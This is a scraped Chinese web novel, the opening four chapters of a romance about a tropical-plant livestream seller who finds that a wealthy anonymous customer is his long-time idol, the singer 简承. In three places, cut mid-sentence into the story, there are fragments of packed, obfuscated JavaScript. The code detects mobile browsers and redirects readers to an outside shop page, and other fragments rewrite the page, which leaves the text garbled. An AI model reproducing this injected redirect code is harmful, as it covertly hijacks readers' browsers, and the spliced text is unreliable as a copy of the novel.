《热植物语》 1. 第 1 章 “对,再聊五分钟就下播了。” “是的今天拍品很少,接下来两三个月都比较少,对,年后会多。今天没有明盒哦。” [主播你好可爱。] “老公犯错了可以叫他跪火鹤王吗?不建议哦,对火鹤王不好。” “可以带花烛一起洗澡吗?嗯……不建议哦,嗯?身材好的才可以……不是不是,不建议是因为洗澡的水太热了。” “猪包我是学生可以送我一颗红骨吗?嗯可以的如果你期末考前五的话我送你一颗苗。” [是给私聊我好吗温温,我真有八块腹肌。] [大棚安保严格吗不严格我来了。] “明天不播哦。” “燕尾服杂papi有吗?要到年后才有了,对。” [数字哥好久没来了。] [铜锣烧套餐没抢到我烧起来了!!] “养护可以私聊小客服哟,有专门的小客服,嗯……” 眼看着弹幕上的留言越来越离谱,根本没几条可以回复的,温可言眼珠转了转,保持着笑容微微靠前,手伸到直播的手机前,嘿嘿笑着说:“我要下播咯。” 接着就以不容挽留之势按下结束键。 每次直播结束前的闲聊都让温可言满头大汗,最开始有这个环节的时候大家都在交流养护知识,后来熟客多了慢慢就变成了这个样子。 温可言实在不明白为什么部分顾客热衷于调戏主播! “累……”温可言摊在椅子上发呆。 两年前温可言正式从大学毕业,回家和父母一起打理家里的生意。 从温可言有记忆起,家里就在做绿植生意,一开始是发财树、天堂鸟和月季这类常见的适合企业室内绿化的植物,后来赶上多肉的热潮赚了一笔。这些年家里也一直在关注市场的动向,尝试新的植物品种。 发展到现在家里一共有三个大棚,其中两个是传统常见绿植,一个是当下比较火热的热带绿植。 最开始接触热植是大一的时候温可言和同学去咖啡店喝咖啡,看到店里布置了很多漂亮的植物,问过之后才知道那些都是热带植物。 后来家里也开始经营热植,起初只在佛山、昆明等地方进货,后来慢慢开始自己做培育,和南美洲一些农场合作购买原株,通过杂交、籽播来培育新的品种,发展到现在热植已经是家里生意的收入大头。 温可言主要负责的就是热植部分。 从大学开始温可言就帮家里搭建线上销售渠道,从一开始的微店淘宝店,到现在各种社交平台账号,再到直播间拍卖模式。 温可言就是传说中一毕业就拥有三年工作经验的人。 “小宝吃宵夜。” “来了!” 温可言应了妈妈的话,才从时长三个小时的直播里缓过神来,起身去吃饭。 直播助理请假一个月,这段时间温可言一个人打理直播间,从每天的选品到直播上架全都是他自己来,一场直播比在大棚换一天土都累。 妈妈已经已经把从家里带来的宵夜摆好,“要么这个月就不直播了,做成固品上链接就好,一个人搞也太累了,我和你爸不会这些,帮不上忙。” “不行啦,小江美女。”温可言掏出手机开始找下饭视频,跟妈妈江雯说:“顾客习惯直播看品了,而且上固链美工运营客服的工作量都会很大,定价也麻烦,他们忙不过来的。” 江雯女士看着儿子,欣慰又心疼,“辛苦咯,想吃什么就跟妈妈讲。” 温可言点开一部悬疑剧,嗯嗯点头说谢谢妈妈,接着就一边吃饭一边看剧。 江雯女士偏头看了一眼,笑他:“又看你老公的剧哦。” “哎呀。”温可言臊得耳根立刻就红了,“不是老公!是偶像!” 江雯:“好好好,偶像偶像,快吃吧。” 温可言的偶像就是简承。 简承是男团“光合作用photosynthesis”的队长加主唱。 从十五岁的那个夏天在同学的□□空间里第一次看到简承到现在,温可言喜欢了他整整十年。 温可言和许许多多的粉丝一起看着他们,从选拔到出道,再到五年前他们官宣各自成立工作室开始往不同的方向发展。 虽然没说是解散,但在没有“舞台”土壤的内娱,这一散五年,他们没有再开过演唱会,只偶尔会出现在各种晚会上。 这期间来来去去很多人,温可言一直没变过。 温可言算是团粉,但在团里最喜欢的就是简承,喜欢他温润沉稳又有力量,喜欢他充满故事感的嗓音,喜欢他偶尔散发出冷冷的梳理感,很神秘。 追星,算是温可言无聊的人生里坚持得最久的事情,比喜欢热植还久。从看他们的社交平台到看综艺,再到他们出演的影视剧,关注他们已经成了温可言的日常。 温可言在看的悬疑网剧就是简承去年年底播出的,他在里面饰演受害者的弟弟,多年以来不断追踪凶手的动向并向男主饰演的警察传递消息。 失去唯一亲人的打击和多年追凶的高压生活让他的精神状态紧绷,不知不觉走向黑白不分的道路,最终在追凶途中犯下大错入狱。 剧中的他在狱中得知凶手落网的那场戏,细腻又完整,把温可言看得在家里抱着他的抱枕哭了一晚上。 虽然只是一个男四号的角色,但简承很用心地完成了他。 这也是简承的演员生涯里最受好评的角色,让很多反感爱豆转型演员的路人观众开始接受他。 简承身为演员的作品不多,至今也没有接过男主的角色。解散后他还是会打磨音乐作品出专辑,是组合四人中对音乐投入最多的人。 小网剧三十多分钟一集,正好够吃完一顿饭。 妈妈给温可言送完宵夜就去找爸爸了,温可言吃完饭,从直播的房间里出来基地已经没什么人。 温可言看时间还不到十点钟,打算去大棚里看看。 上南市马上就要大降温,要尽快把寄养的植物都寄出去,尤其是一些北方城市的订单。 冬季是热植的淡季,一是气温湿度都低热植生长缓慢甚至停滞,二就是运输过程中没有养护条件容易出现冻伤。 “还不下班呀小温。”常住在基地的张阿姨问。 她在基地养了两只小狗,其中一只13岁了,每天牵着它出来走走。 “快了。”温可言笑笑,“我去大棚里看看,阿姨早点休息。” 温可言拧动小电动车,往前骑了一点又停下来,“阿姨!我给水晶和小乖买了一箱罐头,应该放在门口那里了你记得拿一下。” 热植大棚距离基地其实只有一公里多点,但温可言每天往返很多次就懒得走路,骑着小电驴过去。 十一月的晚上已经有点冷了,温可言只穿了T恤和卫衣,风一吹牙齿打了一架。 到了大棚才暖和些,温棚里控温。温可言先去看了下温室质控系统的数据,然后直奔寄养区。 远远就看到寄养区几株华丽的植物。 一株优选铜锣烧杂红皇后、一株火烈鸟2.0、一株锦杂蔓绿绒和一株温蒂领带。 这些都属于同一个顾客。 说来这个顾客真的很神秘,ta的账号没有ID,是平台默认的昵称momo,头像也是默认的。但是ta出手非常阔绰,这三年以来ta在直播间的消费已经近百万了,什么品类的热植ta都会买,而且买得很多。 之前温可言发现ta购买了很多重复品种的时候,温可言担心ta是不知道自己买过,于是特地在发货前私聊提醒ta买过相同品种了。 结果ta回复:死了。 根据温可言这三年的观察,这位顾客的养护技术应该和自己的厨艺不相上下。 ——热爱,但没天赋。 温可言一一端起这几盆热植,观察土壤的湿度、根茎叶脉的状态。 不管做这一行多少年,每当看到这些植物叶片上美妙的纹理时依旧会感叹世界上竟然有这么漂亮的植物,它们从遥远的南美洲来到中国,在这个陌生的土地上生长、变换形态。 又感叹同行们丰富的想象力和创造能力,把它们杂交成新的更美丽的品种。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344914|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丝绒质感的叶片看起来华丽又低调,叶片上的斑点就像金箔洒在绿丝绒布上。 温可言一直很喜欢锦杂花烛,而且觉得锦杂花烛很像简承。 “真漂亮。” 温可言放下手中的花烛,去查看其他顾客的寄养品。 按理说强哥绿植的寄养期不能超过一周,哦对了,强哥是温可言的爸爸,温国强。 偶尔有熟客不能及时收货,私下请求多寄养一些时间,温可言都会应下。 比起植物寄过去之后被放在快递站无人养护导致植物病残,温可言更愿意承担风险和成本多养几天,毕竟这个大棚里几乎所有植物都是经温可言的手养大的。 接下来的两三个月都是淡季,温可言终于有时间好好和育苗组的同事好好做一下新品种。 大棚的最里面单独隔出了一块,这里放的都是重金从外面买来的母本。 养家禽的圈子里有一句话,叫资产千万带毛的不算,这话放在热植圈也一样。 每次温可言去参加植物展能卖20w的话,他能买30w的货回来。 视察完大棚开车回家,洗漱完已经快十二点了,温可言擦干头发往床上一躺,习惯性地拿出手机看消息。 热植的两个社交平台账号都是温可言在运营,每天睡前不定时看一下后台的消息。 后台每天收到的消息不多,有时候一天都没有一条,大多是顾客在问养护相关的知识,或者是想来参观大棚。 今天温可言也照例一条条看下去,需要回复的都回了。 温可言往下拉一页,一个陌生又熟悉的账户出现在消息底部。 点开一看是那个沉默寡言买了很多热植的熟客! 消息是中午发来的,温可言一直在忙没有看后台。 温可言猜他应该是来让自己把寄养的热植发走,没想到不是。 momo:温老板你好,抱歉打扰你。因为工作我需要外出三到四个月的时间,中间可能都没有办法回家照顾植物们,身边也没有人能帮我养护。我就住在上南市,能否拜托你有时间的话去我家帮我浇水养护? 这种事温可言也不是第一次碰见,热植圈里商家和爱好者的关系都蛮好的。 强哥绿植:可以的呀,正好把你寄存在大棚里的几株带过去,我在亭林,你在哪个位置? 强哥绿植:[送花/] momo:我在长汇滨江。 果然是有钱人,住在滨江。 强哥绿植:没问题,不算远。 亭林到长汇滨江往返也就两个小时,冬季一周去一次就可以。 强哥绿植:你加我微信,把详细地址和植物的全景图发给我。 温可言把自己微信发过去,对方很快就添加了,也没备注。 温可言通过申请,顺便看了一下ta的信息,头像是一个小男孩抱着一片比ta还高的龟背竹叶子,昵称一个句号,个签无,朋友圈背景无,朋友圈内容仅三天可见,无。 温可言的昵称是温房,头像是简笔画小剪刀。 小剪刀是简承的粉丝名,同时也是温可言修剪植物的工具。 “这么神秘……”温可言嘀咕。 。:温先生你好。 温可言微微皱眉,觉得这个人请自己帮忙但是什么信息都不透露,求人办事还藏着掖着的。 等了两分钟,对面还没有发别的信息来。温可言轻哼一声,也不憋着自己,直接给他发消息。 温房:不好意思,请问你是男是女怎么称呼? 。:抱歉,我是男的,姓简。 。:[图片][图片][图片] 。:这是目前家里所有的植物,数量是109株,一半都是花烛。 温可言先是极为巧合的姓氏震惊了一下,随后在看到细节之后见鬼一样扔掉了手机。 “天呐……”温可言缓缓滑进被子里,在全部埋进去之前又忍不住伸手把手机拿过来,他放大绿植图片的背景,看到那熟悉的展示柜和奖牌。 奖牌上写着:简承《冬季过敏原》白金单曲纪念。 2. 第 2 章 如果只是单独的一块纪念奖牌,温可言可能会觉得对方也是粉丝,因为粉丝们经常会自制一些和偶像相关的周边。 但这个熟悉的展示柜没有一个小剪刀认不出来。 温可言反复放大图片查看着细节,还去微博翻找简承分享过的展示柜照片。 一模一样!! “我完蛋了。”温可言确定这就是简承的家,而这位momo就是简承。 温可言点击微博图片缩小,然后就莫名其妙地开始一一欣赏简承这些年分享过的奖杯奖牌。 他发过特别多这类的微博。 光合作用刚出道的时候国内的爱豆土壤比现在更加薄弱,伴随着粉丝一起来的是巨量的无脑路人黑。娘炮、不务正业等等这些词充斥着他们的爱豆生涯。 那个时候他们也还没有很多作品,去参加各种晚会盛典以及音乐节目,不管拿到什么奖都会被铺天盖地的染发黑稿说是水奖。很多粉丝看到这些言论很伤心,组合中年纪小的两个弟弟被网上的言论影响变得不自信,偶尔会表现出对这些场合的抵触,甚至发展成对自己实力和人气的怀疑。 是简承这个大哥兼队长站出来,他一次次的向弟弟们表达这是他们和粉丝双向奔赴,一次次地在微博发布感谢粉丝和平台的内容。 不管是权威的,还是黑粉口中的“野鸡奖”他都会发布这样的内容。 他说:能站在舞台上和你们见面的机会,我们永远都珍惜。 温可言就这样把这些微博都看了一遍,一边看一边想着当时是怎么样的情况,当时的简承是什么样的,那时候的自己又在做什么。 “怎么会是他呢……” 温可言把手机放在胸口,“简哥从来没有说过自己喜欢热植呀。” 还没解散的时候简承是和另外三个成员住在一起的,公司会时不时的发一些生活物料,那些视频和照片里最多就出现过天堂鸟和绿萝,一看就不是他们自己养的。 各自发展之后简承就不太分享家里的布局了。 偶像组合的私生太多,粉丝们也都理解。 想着毕业这两年都在忙热植的生意,没有像以前一样所有物料都看,很可能是自己漏掉了相关内容。温可言看完微博又去别的社交平台搜索,全平台都没有相关发言,只有在一个户外综艺里简承表达过因为小时候跟外婆住在乡下,很喜欢户外景色。 温可言想着要么问一下同担好友毛毛。 高中某次暑假,温可言抢到了光合的演唱会门票,在贴吧里看到有人拉线下看演唱会的群就加了一个,在里面认识了几个同龄的粉丝,交往多年成了朋友。 毛毛全名毛思敏,两人同城,经常线下见面一起玩。 现在毛毛在市中心的外企上班,温可言在郊外种大棚。 温可言跳转回微信发现简承又给自己发消息了。自己自顾自地想了一大堆,就是没有回简承的消息…… 。:老板你睡了吗? 温可言一想到手机对面的人是简承简直要晕过去,“还没有”三个字打了三遍才打出来。 温房:还没有 消息发出,温可言注意到自己的头像是小剪刀。 不行不行,不能被他看出来。 温可言立刻去相册找照片,相册里除了热植就是热植,温可言往上一滑,随便选了张漂亮的。 。:温老板,那你明天能先来我家一趟吗?我们见个面。 温房:不行…… 温房:我明天很忙很忙。 。:好,我明天就要出门了,那我把工具都放在阳台,到时候你来可以直接去阳台拿。 。:[地址] 。:你的新头像是这一株吗?我养得很好。 。:[图片] “啊?!”温可言点开头像一看,好像还真的是被他买走的那株。 温可言手忙脚乱的又去换头像,这次不用绿植了,换成随手拍的大棚照片,这下总没有意外了。 。:2栋一单元1201,门锁密码147789。 。:我要去忙了回聊 温可言忍无可忍地坐起来大喊:“no!!!!!” 接着以迅雷不及掩耳之速把简承发过来的具体地址删掉了。 粉丝怎么能去偶像家里呢? 这是私生!!! 粉丝怎么能和偶像聊天呢? 这是私联!!! 这是流淌在正规军血液里的想法。 温可言呆呆地看着手机聊天界面,简承没有再发消息来。 这一晚温可言做了四五个梦,梦到骑车不受控制地冲进地里了,梦到吃饭咬到小石头,梦到走在人来人往的路上一眨眼街上空无一人只剩自己。 总之全都不是好梦。 醒来之后人混混沉沉的,简直是白睡了。 “怎么了这是?”妈妈伸手摸了摸他的额头,“没发烧呀,怎么魂不守舍的。” 温可言叹口气,夹起一个小笼包送进嘴里,嘟嘟囔囔地说:“做了好多噩梦。” 妈妈:“怎么会这样?” “可能是私联的惩罚吧。”温可言说。 老爸温国强捞了三个茶叶蛋从厨房里出来,“什么?我只听过冲动的惩罚。” 温可言:“……” “哎呀你别逗他了。”妈妈凑上前又看了看,“憔悴的哟,什么叫私联啊?” 温可言根本不知道怎么跟别人说偶像加了自己微信,并且请自己去他家里见面并帮他照顾热植这件事。 “私联你还不晓得呀,就是偷偷跟着明星回家,还私底下联系,人人喊打的。”老爸说。 “那关我们言言什么事啊。”老妈双手一摊,“他天天在大棚里像个农民一样的,很老实的呀,别的粉丝干坏事怎么惩罚我儿子呢。” 温可言抬眼,“……” 老妈笑笑,“不要担心,到时候会有那个什么,那个战斗粉去收拾私联的。” 温可言:“!” 温可言默默低下头,继续吃小笼包。 江雯女士和温国强先生对视一样,没弄明白,怎么了这是? 温可言看起来性格温和,实则非常有主意,敢想敢做,很少看到他支支吾吾的样子。 吃过早饭,温可言开车去大棚。 一路上都有点恍惚,原本二十分钟的路程开了半小时。 基地的员工都上班了,各司其职做着自己的事情。 这两天都不用直播,温可言手里没什么急事,在办公室里写策划案。 年初的时候温可言就有个新的想法,他想做一个专门做优选货的高端线。 虽然目前的生意也不错,但同样品质的热植他们卖不过同行,培育了新品种也不好卖。 温可言不认为这是热植玩家不懂货,而是任何东西都需要营销。 就像经纪公司包装男团一样,营销不代表男团的颜值或者实力不行,而是需要一个被看到的机会。 以普货为主的强哥绿植在大部分买家眼里,尤其是新的热植爱好者眼里,就是低价普货的象征,尽管他们已经自己做培育三年了,也出过有热度的新品。 “唉。” 文档上一个字都没有增加,温可言左手累了换右手托着脸。 微信已经弹出了巨量消息但温可言不想看。 他连叹三口气,往后靠在椅背上休息。 办公室不大,温可言收拾得很干净,墙上放了很多相框,相框里是他这些年做的标本。 有枯萎的母本叶片,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344915|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法适应环境干枯的整颗鹿角蕨。 正发呆的时候微信进来一个微信电话,是毛毛的。 “喂……”温可言接下视频电话,“你染头发啦?” 毛毛向左看向右看,展示她的橘红色头发,“好看吗?” 温可言嗯嗯点头,“超级适合你!” 毛毛:“嗯,我有几天年假要到期了正好休假三天,要不要出来玩?” “应该可以,最近不忙。”温可言把手机放在支架上,“真好呀还有年假可以休。” 毛毛:“要是那四个男人出来开演唱会老娘的年假根本不会拖到过期好吗。” 温可言:“……嘿嘿。” 毛毛:“你这么笑好傻,对了,简哥今天出发去四川了你看到了吗?都说是去拍《剑隐》了我去,难道真的是简哥拿到了这个本子?” “真的啊?”温可言情不自禁坐直凑近。 毛毛那边在路上走着,说:“嗯,网上有人发机场偶遇了。” 说完她喝一口咖啡,“话说简哥这两年的信息藏得很好诶,光报警都七八次,真的很恨私生了。” 温可言心虚说:“是啊。” 毛毛:“你换的什么雷霆头像,跟五十岁大叔一样。” 温可言哭笑不得,“我有我的苦衷……” “好了我还要去做指甲,你看看什么时候出来玩,帮我拍点照片好不?”毛毛展示一下自己的半截美甲。 温可言说好,两人挂掉电话。 温可言点开和简承的对话框,消息还停留在昨晚的“我去忙了回聊”。 昨晚说去忙是去收拾行李了吗?一大早就去赶飞机所以也没有再说话。有没有在出门之前浇最后一次水呢?不知道有没有做好通风不然叶片要积水了。 温可言点开他的头像反复看了几遍之后放下手机,不确定这是不是小时候他。 从未分享过自己养热植的他,是想保留一块自己的自留地吗?他很讨厌私生,从十九岁出道开始,作为团里唯一成年人的他就挡在弟弟们身前执法。 如果他知道自己是粉丝,一定会有不自在的吧。 上南市从事热植的人很多,自己和他只需要继续忙碌店主和神秘顾客的关系就好,温可言做出了决定。 温房:抱歉啊先生,我突然想起来好像没办法帮您照顾植物了。 本以为他要去进组了会很忙,没想到秒回了。 。:为什么? 温房:接下来要组培要直播,很忙。 。:我会付你费用。 温房:不是这个意思先生,太远了我住在郊区呢。 。:我的车就在地库,你可以开。 温可言震惊得差点从椅子上掉下来。 现在不是担心简承知道是粉丝不自在的问题了,开简承私人的车,就算证实了不是私生也有可能会被砍成臊子啊! 温可言更坚定的拒绝。 温房:这样吧简先生,我找个靠谱的同行去帮您照顾植物,可以吗? 对方好一会儿没有回消息。 。:那算了吧。 收到这条回复,温可言没有想象中解决问题的如释重负,反而隐隐难过。 如果不是这种需要去到他家里的忙就好了,身为粉丝的温可言和很多人一样,幻想过无数次能和简承产生交集。 现在只希望他能找个信得过的人照顾好那些热植,对它们来说上南市漫长的冬季会很难熬。 温可言在键盘上打了个“好的”。 。:这些植物就像我的孩子一样,交给别人我不放心。 温可言睁大眼睛,捂着心口倒在桌子上。 “啊……” 干什么呀简承!说得好好的怎么突然拿孩子说事! 3. 第 3 章 十年的喜欢是认真的。 温可言知道简承并不完全是平时表现出来那样永远温润沉稳的样子,也知道在关系亲密的人身边时,他会表现出一些好胜心与超出平常的热情,还有不知道是否受粉丝滤镜影响的可爱。 但万万没想到,镜头后面的他居然会这样子说话。 如果是团内的老幺林路远这么说,温可言知道他在撒娇。 如果是小太阳rapper陈嘉俊这么说,温可言猜他在绿茶。 如果是内向的主舞梁稳这么说,温可言会觉得他生气了。 但简承这么说是什么意思? 温房:简先生…… 。:因为我工作比较特殊,经常要出远门,虽然有拜托朋友帮忙浇灌但还是养死了很多。 温可言当然知道他职业特殊,也很清楚他的行程。 想必死得最多的就是去年九月十月和前年的五六月吧! 因为那时候进组了。 。:每次出差回来发现有植物死掉我也挺难受的,你把它们养得那么好。 温房:[囧/] 温房:[可怜/] 。:好,我知道了温老板,打扰你了。 温可言脑中开始幻想简承辛苦进组,在离家上千公里的地方被自己信赖的商家爽约,神情落寞地坐在房车里,只能临时再去找不会养护绿植的人去浇水,不会放肥也不懂湿度通风,等简承拍完这个超级好剧回家就会看到一堆焦边烂根的热植。 甚至有很多可能会死掉! 花烛那么脆弱,而他拥有那么多昂贵的花烛。 那些“孩子”是我亲手养大的啊!! 温可言忽然站起来,一只手拿着手机一只手扣着嘴皮在办公室里来回走。 “不行不行……”温可言站定。 热植是无辜的啊! 只要自己藏好粉籍,永远不让简承知道,也不跟任何人说自己接的是简承的委托,就不会有人知道自己这个小剪刀进了简承的家。 况且简承要在四川拍三四个月的戏呢,这次是男主角戏份多,中间估计也回不来,完全不会见到面的。 一个星期去一次,四个月就是十六次。 即能帮助偶像,又能守护“孩子们”,这完全是大善事一件! 温可言自己调理一翻,再从头到尾顺一遍逻辑,确定没什么问题。 对简承而言自己只是一个卖热植的同城主播,一个热心肠的养护达人,一个老实本分的农民。 温房:我想了想,每周抽点时间去一趟应该还是可以的。 温房:简先生!孩子们交给我你就放心吧!! 温房:[敬礼/] 简承秒回。 。:谢谢您。 。:等我回来见了面一定厚礼重谢。 温房:不不不,你在我家买了这么多热植,这都是我该做的,谢谢你照顾我们生意。 。:抱歉我要去忙了回聊。 温可言看着静止的聊天页面,还是很难相信对面这个人是自己喜欢了十年的偶像。 有点害怕,有点惶恐,还有点开心。 为能再次守护他开心,也为对他有了更多的了解开心。 温可言轻轻笑了下,点进简承的备注栏打出简承两个字。 十秒钟后,温可言删除了那两个字,备注:momo 终于不再纠结这件事,温可言心里的大石头终于落下。 神清气爽地放下手机准备去大棚里看看,忽然想起简承发来的详细地址被自己删掉了。 温可言只能怂怂的发消息:简先生,能不能再给我发一次你家的地址,我不小心手滑删掉了。 简承说去忙了就真的没有回。 淡季前端的销售工作少了很多,但大棚里的养护工作更多了。 在上南市做热植生意注定要比在气候温热的地区要花更多功夫。最开始做热植的时候,还没有买这么多专业的养护设备,几乎都是人工一颗一颗的养护。 大棚里阿姨正在打包,要在一周内把未大幅度降温地区的寄养热植发出去。 “阿姨,今天有多少能发的?”温可言一边检查寄养的热植一边问。 阿姨回:“挺多的,五十多盆。” 话音刚落,秦烟从对面过道里冒头,“温温,我早上检查寄养名单,还有好多能发出客户没回消息呢,继续养着吗?” “我去看看。”温可言走去大棚入口的工作区。 “Excel第三页。”秦烟说。 温可言调出寄养名单,从下往下扫了一眼,在末尾看到了momo。 “这个momo哥电话都打不通,昨天打了两次,刚刚又打了一次。”秦烟靠过来一起看表格。 “在忙啦。” “多忙啊电话都接不了。”秦烟靠坐在办公桌上,“这四株都挺贵的,寄养出问题了也不好掰扯。” 温可言笑:“寄过去了搞不好死得更快。” “哈哈。”秦烟笑着,说:“这个大佬到底是做什么的啊,又菜又爱玩。” 温可言:“职业比较特殊吧可能,经常出差。” 秦烟微微皱眉,转头看温可言,“今天怎么一副很了解人家的样子呢?你联系上了?” “一点都不了解!” 温可言起身,“不过他确实是找过我了,说要出差很久,让我帮他照看一下家里的绿植。” 秦烟:“上门吗?” 温可言:“嗯。” 这种事也不是第一次发生,秦烟倒是没有什么意外的,只是对这个神秘的momo还是很好奇。 “加微信了没?长什么样啊?” “加了。”温可言说:“朋友圈什么都没有。” 秦烟马上转换态度:“啊?这不太好吧,万一不是好人呢?问他要身份证和视频对一下。” 温可言第一念头很地狱。 简承的身份证早在十年前就漫天飞了。 温可言不能说是简承,但为了让秦烟安心还是点头说了好,“知道了。” “跟我去看看新苗呗,卡拉杂梅子酱那批出叶子了。” “好,去看看。” —— 简承的回复在深夜,次日温可言才看到。 原本想着一周后要上门了再联系,没想到简承说他走的时候有几株状态很不好了。 温可言立刻对上他的行程,好像去北京录了几天元旦晚会东西。 温可言决定过两天就去看看。 虽然在同一个城市,但温可言住在远郊,说实话进城一趟还是挺花时间的。为了高效利用时间,温可言约好毛思敏,中午跟她吃饭下午一起玩,玩完之后就去简承家里干活。 这样一下午就能完成两件事,晚上回来准备第二天的直播。 忙了两天,温可言准备出发了。 微信上和简承的聊天记录停留在昨晚,温可言昨天晚上七点左右告诉他,自己第二天下午五点左右会过去。 简承在凌晨两点回复消息。 。:辛苦你,到的时候请联系我,陌生车辆进不去,我让物业带你去录信息。 高档小区就是不一样,温可言想。 温可言洗漱后吃完早餐,陪家里两只小猫玩一会儿,又去帮妈妈拿了快递,刚好九点钟,温可言打开衣柜挑衣服。 平时在大棚干活经常一身土, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344916|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿得很随便,直播的时候就直接穿基地的文化衫,夏天T恤春秋卫衣,冬天就穿加绒卫衣。 读大学的时候温可言还是挺花心思打扮的,现在习惯了这样的生活,几乎不怎么买新衣服了。好在江雯女士是个爱打扮的,她会给温可言买衣服。 外婆以前是个裁缝,从小就没少给妈妈做漂亮的衣服穿。 老妈买东西讲究一个腔调,不喜欢大logo花图案,要低调有质感。 温可言有时候穿了上千块的衣服去大棚换盆都不知道。 温可言选了件米色的毛衣,里面穿个T恤打底,再捞一条牛仔裤穿上。想着毛思敏要拍照片,又打理了一下自己的头发。 小卷发棒在脑袋上一通乱卷,然后用手抓散,在外面走两步吹吹风就会变成日杂模特的慵懒发型。 毛思敏第一次听说他是这么弄出日杂男头的时候,以为温可言是在营造帅得很轻松的氛围。 “妈,我出门了。”温可言准备穿鞋。 家里的三花和狸花围在脚边捣乱。 “好呀。”江雯女士正在拆快递,抬头看了眼,“小宝,你戴个黑框眼镜搭配一下。” 温可言很听话,“哦,好。” 从屋子里出来,江雯女士看到他的贴身斜跨包,两眼一黑马上起身,“不要背这个包了,一点都不搭配,去拿生日我送的那个黑色植鞣皮的托特包。” “哦哦。”温可言又折回房间。 换好出来,江雯女士非常满意,“去吧,好好玩哟,不要让毛毛付钱晓得不?” 温可言应下。 虽然是个gay,还是个0,毛思敏薪资也不错,但江雯女士贯彻绅士法则。 温可言出了门,先去大棚把简承寄养的四颗热植打包好放进后备箱。 车子是去年爸爸送的新年礼物,一辆宝马X5。 温可言不懂车,之前开的是家里的大众,这台也不错开着挺好,每天货也拉人也拉,基地那边还有一些地方是泥巴路,车身一层灰。 想着要载精致的毛毛,路上还特地找个洗车店快洗了一下。 洗车套餐团购的,59元。 “毛毛!!”温可言打开副驾车窗对在地铁口等着的毛思敏挥手。 毛思敏背着痛包,痛包里四个娃娃鼓鼓囊囊的挤在一起,一上车就给温可言展示,“四个都换了新衣服,好看吗?” 温可言打量一番,“好看,简哥最好看。” 毛毛做作地学:“简~哥~最~好~看~” “哎呀!”温可言害臊了,“我的娃娃都不知道塞哪里去了,上次猫咪跑来我房间把嘉俊屁股咬烂了。” 毛毛震怒:“你到底会不会养娃!” 温可言不可抑制地想起简承的那一百多个“孩子”们。 “你看这个。”毛毛从包里拿出毛绒卡套,上面是温可言不认识的明星。 “谁啊?” “我新追的。” “这么小?!”温可言吃惊道,“我以为当初光合17岁已经够小了。” 毛毛摸摸卡套塞回去,“还是练习生呢。” 光合作用已经分开活动太久了,当初的男团粉丝已经跑了大半,温可言和毛思敏已经算坚持得很久的。温可言对追星的所有热情都给了光合作用,现在现实生活也很忙碌,没有精力和时间再去了解别人。 “唉,”毛毛系好安全带,看着痛包里四个出生于六年前的棉花娃娃,说:“不知道在完全爬墙之前能不能再看一次光合的演唱会呢。” 温可言启动车子,微微抿唇没说话。 毛毛说完看向温可言,故意调戏他:“问问你老公呗,啥时候再开演唱会!!” 4. 第 4 章 温可言:“我真的不是女友粉!!” “你当然不是女友粉了。”毛毛对着镜子整理一下她亮眼的橘红色头发,“你是gay,你算男友粉。” 温可言:“……” 毛毛笑着,把镜子翻上去转头,“打起精神来好吗,简承从未否认过自己不是直男!” 温可言晕了。 开车半小时来到毛毛挑选的饭店,按她做过的功课点了菜和甜品,急头白脸一顿吃一顿拍之后已经是快两点钟了。 就近找商场逛街,毛毛买了衣服鞋子,温可言在毛毛的强烈推荐下买了一顶渔夫帽。 温可言挺喜欢的,这样以后没洗头就可以戴帽子直播了。 由于温可言天生发量多,每次洗完头发都很蓬,好几次为了直播洗头却被直播间的顾客们问是不是被炮轰了。 逛完街又去吃下午茶,每次来这种地方温可言都会默默在心底感谢老妈。 来这种地方确实要好好打扮一下! “这张好还是这张?”毛毛让温可言挑选照片。 在温可言看来这两张照片一模一样,但还是若有所思地看了一会儿,“第一张。” 毛毛满意地点头说:“我也觉得。” 毛毛在p的图片不是自己的也不是和温可言的合照,是四只棉花娃娃吃甜品的。 两个人精心打扮一番出门,但是给棉花娃娃和小卡出片。 温可言也有很多周边,只要出了就all in,但不怎么玩。 不是因为觉得男孩子玩这些羞耻,而是因为他不会装饰周边和现生太忙。周边是为了支持偶像买的,买回来放在家里,有空的时候就拿出来看看,然后继续放回箱子里积灰。 饭吃了街逛了朋友圈发了,下午五点分开。 “你确定安全的哦。”毛毛走之前还在叮嘱,“我总觉得这种□□不安全,万一弄坏了什么东西,或者对方是坏人呢?” 温可言:“放心啦,老客户我才会帮这种忙的。” 毛毛只好点头,“唉去吧去吧,照顾小植物们去吧。” 和毛毛分开之后,温可言导航好路线之后给简承发消息。 温房:简先生,我大概四十分钟左右到你们小区。 。:好,我跟物业打个招呼。 居然秒回,没在拍戏吗? 